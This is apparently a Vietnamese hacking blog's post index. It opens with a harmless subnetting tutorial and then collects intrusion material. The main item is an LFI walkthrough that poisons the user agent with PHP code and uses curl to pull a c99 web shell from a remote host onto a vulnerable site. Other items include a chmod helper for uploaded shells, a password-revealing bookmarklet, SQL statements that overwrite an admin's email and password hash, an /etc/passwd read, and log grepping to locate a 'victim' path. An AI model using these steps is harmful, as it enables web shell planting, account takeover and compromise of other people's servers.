Showing posts with label Skill. Show all posts
Showing posts with label Skill. Show all posts
Cách chia Subnet nhanh

Dạo trước mình có viết bài Subnet mask và cách chia có trình bày về cách chia Subnet căn bản. Cách tính và nhớ phương phá để chia Subnet có nhiều cách, bài này trình bày cách tính rất nhanh, tham khảo nhé. VIA từ blog của Anh Lê Cường.

Tay tráiTay phải


Các bước chia như sau:

Ta có bài LAB như sau:

Ví dụ ta có IP 192.168.1.0 chia 3 mạng con theo yêu cầu của sếp:

B1: Xác định số bit sẽ mượn dựa vào số mạng con muốn chia (quy tắc bàn tay trái):

Công thức tính để chia bao nhiêu mạng con ta làm như sau:

2^n >= m (m là số mạng con cần chia hay còn gọi là số subnet cần chia, n là con số bit ta sẽ mượn)

suy ra ta có: 2^n >=3 (số 3 là số mạng con mà sếp yêu cầu).

suy ra tiếp n là số 2. (Nhìn bàn tay trái đốt thứ 2 của ngón út là số 4, 4 dĩ nhiên lớn hơn 3).

B2: Quy tắc bàn tay phải: Ở đây ta sẽ mượn 2 bit (số n ở trên B1). Dựa theo hình tay phải nó sẽ là số 192.

B3: Tìm bước nhảy (Bước nhảy có nghĩa là 3 mạng con này sẽ nằm từ ip bao nhiêu tới bao nhiêu cho mỗi bước).

Lấy 256 - 192 của B2 (ở đâu có 256? xin thưa 0--> 255 là có 256 host vì vậy ta lấy 256 -192 = 64

==> Ta có các mạng con như sau:

Mạng 1: 192.168.1.0          Netmask: 255.255.255.192


Mạng 2: 192.168.1.64          Netmask: 255.255.255.192


Mạng 3: 192.168.1.128          Netmask: 255.255.255.192


Mạng 4: 192.168.1.192          Netmask: 255.255.255.192


Xong rồi, được 4 lớp mạng nhỏ, tuỳ bạn sử dụng nhé. Test cái bằng cách cài đặt win xp cho 2 cái máy ảo sau đó đặt IP theo 3 trường hợp sau:

TH1:

Máy 1:

192.168.1.70         Netmask: 255.255.255.192


Máy 2:

192.168.1.80         Netmask: 255.255.255.192


Kết quả: Cho 2 máy ping nhau ==> kết quả ping OK. (Reply from 192.168.1.80: bytes=32 time=1ms TTL=128)

TH2:

Máy 1:

192.168.1.70 Netmask: 255.255.255.192

Máy 2:

192.168.1.180 Netmask: 255.255.255.192

Kết quả: Cho 2 máy ping nhau ==> kết quả ping Không được (vì 2 ip này khác mạng).

TH3:

Máy 1:

192.168.1.62 Netmask: 255.255.255.192

Máy 2:

192.168.1.128 Netmask: 255.255.255.192

Kết quả: Máy 1 không đặt được IP và Máy 2 cũng vậy.

Tại sao vậy? cho bạn kết luận nhé.

Kết thúc bài LAB. Sau bài LAB này bạn có công thức tính và chia subnet. Sau đó tiếp tục bạn hãy thử học phương pháp tính nhanh phía dưới nhé.

Subnet mask và cách chia

Subnet là gì?: Hiểu đơn giản vầy. Khi ta chia một Network ra thành nhiều Network nhỏ hơn thì các Network nhỏ này được gọi là Subnet.


Vì sao cần phải chia Subnet mask?

Uploading shell by using LFI

================================
Required:
1. site vuln to lfi
2. php knowledge
3. browser Mozilla Firefox...
================================

So... first you find some site vuln to lfi... now we must check if there are logs...
They are usually stored in /proc/self/environ... so just replace /etc/passwd with /proc/self/environ

If you get something like "DOCUMENT_ROOT=..." then it means you sucessfully found logs 

Now,on that page you can find something like "HTTP_USER_AGENT"...
This value is usually our useragent(mozilla,netscape,etc) and now we must spoof it... but how?

Open a new tab in Mozilla,and type "about :config" (without quotes)...

Now,in "Filter" type: general.useragent.extra.firefox

You will get something like this:


Code:

Preference name                            Status     Type        Value
general.useragent.extra.firefox default string Firefox/3.0.7


Now,double click on general.useragent.extra.firefox and replace "Firefox/3.0.7"
with

Code:

<? include("http://shelladdress.com/c99.txt"); ?>


If everything is good you will get shell included... Otherwise,you will get errors... Mostly I was getting error "URL-File access disabled" or something like that... but using php I found another way...

Instead of typing

Code:

<? include("http://shelladdress.com/c99.txt"); ?>


as useragent,type this:

Code:

<? passthru($_GET['cmd']); ?>


Then load your vuln page like this:

Code:

http://yourvulnsite.com/vulnscript.php?page=../../../proc/self/environ%00?cmd=curl http://shelladress.com/c99.txt -o c99.php


So,lets review... basicaly,you are just adding &cmd= thing at the end of url...

Now,using "curl" command you will get content of shell in txt format and by using -o c99.php you will rename it to c99.php...

Now simply go to your site like this:

Code:

http://yourvulnsite.com/c99.php


And that's all...

Enjoy,if I helped you,hit the thanks button...]

 

Code chmod khi shell không chmod được


Code:

<?php
@chmod("index.php", 0755);
?>


Code này chỉ hoạt động tại nơi up load lên
Ví dụ :
Em muốn chmod file index.php tại thư mục ( diễn đàn )
thì mấy anh cứ up code đó tại thư mục diễn đàn rồi rồi run file php đó

 

Bypassing Linuxconf in Mandrake

If you have used Mandrake (or most any Linux distribution) for any time you've become familiar with the great utility Linuxconf. Linuxconf is installed by default on a Mandrake system and can be used for a score of configuration related tasks. Check out the Linuxconf homepage for more details.You can usually find linuxconf in the /bin directory of your machine. If you don't have it, feel free to download the latest RPM from RPMfind.net or any one of the mirrors found at Mandrake Linux.

SSHatter SSH Brute Forcer



SSHatter is an SSH brute force utility available from http://freshmeat.net/projects/sshatter/?branch_id=70781&release_id=263196. Essentially the tool is comprised of a small Perl file. The utility requires a few non-standard Perl libraries but these are easily installed. You must have Perl installed to use SSHatter.

Installing SSHatter

Using Netcat to Transfer Files (and Other Mischief)

Netcat is an oft maligned program that can easily be used for many interesting and useful purposes. While many admins have heard of netcat, it is usually in the context of detecting rootkits or evidence of intrusion. The fact that netcat is a favorite tool among malicious hackers does a great disservice to the tool, but it also demonstrates its utility.

Brute Forcing PHP MD5 Hashed Passwords


Web Application Passwords


Many PHP based web applications use md5 hashing in order to obscure stored passwords. At first glance this seems like an effective security measure, however upon further examination it becomes clear that this approach does little to secure a password. Let us assume that an attacker somehow captures the md5 hash of a users password. This could happen in many ways, the most obvious being a SQL injection that reveals the password.

MD5


Bypassing PHP PathInfo



The pathinfo() built-in PHP function is often used by programmers to identify the types of files being specified in URLs. Pathinfo will do simple parsing of path and filenames and present an array of useful attributes such as the base name of the file specified or the file extension of the file specified. The following example is provided from the PHP.net website:
<?php
$path_parts = pathinfo('/www/htdocs/index.html');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0
?>

Hướng dẫn sử dụng metasploit

1) Giới thiệu

Metasploit Framework là một môi trường dùng để kiểm tra ,tấn công và khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python.Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Bạn có thể download chương trình tại www.metasploit.com

Metasploit có thể tự động update bắt đầu từ version 2.2 trở đi, sử dụng script msfupdate.bat trong thư mục cài đặt

2)Các thành phần của Metasploit

Xem pass Gmail bằng Javascript

Add vô bookmark bar của Firefox trong Location để code sau:







javascript : var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Xem mật khẩu', s)}else{alert('Mật khẩu trống')}return true;}}

Auto check Rule register VBB:







javascript:var%20x=document.getElementById('cb_rules_agree');x.checked='on';var%20y=document.getElementsByTagName('input');for%20(var%20i=0;i<y.length;i++){if%20(y[i].value=='Register'){y[i].click();}};

Auto Birthday VBB register:







javascript:var%20x=document.getElementsByTagName('select');x[0].value='01';x%20%20[1].value='01';var%20y=document.getElementsByTagName('input');for%20(var%20i=0;i<y.length;i++){if%20(y[i].name=='year'){y[i].value=1980;}};

SQL update

update user set email="hehehe@yahoo.com" where id=1

update 'user' set 'email'='mail_cua_minh@yahoo.com' where 'username'='user_admin';

update 'table_can_update' set 'ten_pas_can_update'='pas_moi_de_update' where 'ID'='ID_admin';

update user set passwd ="e10adc3949ba59abbe56e057f20f883e" where id=1

Skill basic command

cat /etc/passwd | cut -f1 -d:

hay:

cut -f1 -d: /etc/passwd

Thêm 1 cách tìm path victim

Bạn đã bao giờ gặp phải 1 site mà nó addon domain


xem etc/passwd dek thay

nghía qua cái error_log thì 2-3Gb gì đấy đơ cả máy 

share với các bạn 1 thủ thuật nhỏ 

find /usr/local/apache/logs/ -name 'error_log' | xargs grep -E 'victim.com'

 
2012 upshell | Header Image by Game Wallpapers
Avatar Gamezine Designed by Cheapest Tablet PC
Supported by Phones 4u